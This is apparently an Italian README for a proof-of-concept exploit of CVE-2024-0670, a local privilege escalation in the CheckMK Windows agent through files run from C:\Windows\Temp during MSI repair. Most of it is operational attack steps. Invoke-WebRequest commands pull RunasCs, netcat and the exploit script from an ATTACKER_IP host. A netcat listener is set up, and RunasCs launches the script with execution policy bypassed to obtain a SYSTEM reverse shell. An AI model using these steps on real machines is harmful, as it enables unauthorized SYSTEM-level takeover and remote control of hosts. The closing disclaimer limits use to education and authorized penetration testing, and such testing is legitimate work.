
Questo repository contiene una dimostrazione di exploit per CVE-2024-0670, una vulnerabilità di escalation dei privilegi locale che interessa CheckMK Agent per Windows. La vulnerabilità consente a un utente con privilegi bassi di ottenere privilegi di SYSTEM abusando di percorsi di file scrivibili elaborati dal meccanismo di riparazione MSI.
Questo repository contiene una proof-of-concept semplice e pulita per CVE-2024-0670, una vulnerabilità di escalation dei privilegi locali nell'agente Windows di CheckMK. Un utente con privilegi limitati può ottenere privilegi SYSTEM abusando di percorsi di file temporanei scrivibili eseguiti durante la riparazione MSI.
Durante una riparazione MSI, CheckMK esegue file in:
C:\Windows\Temp\
Se un utente normale può collocare file con nomi prevedibili in quella cartella, può eseguire comandi come NT AUTHORITY\SYSTEM.
Questo exploit inserisce più nomi di file payload e attiva la riparazione MSI per ottenere l'esecuzione come SYSTEM.
RunasCs.exe → runas replacement (plaintext password support)
nc.exe → Netcat (reverse shell)
exploit.ps1 → CVE-2024-0670 exploit script
README.md → documentation
C:\Windows\Temp\
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1
Avvia un listener sulla tua macchina:
nc -lvnp 1111
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"
Se l'operazione riesce, riceverai una reverse shell con privilegi SYSTEM.
net4:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
net2:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs
Questo progetto è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. Non utilizzarlo per scopi illegali. L'autore non è responsabile per un uso improprio.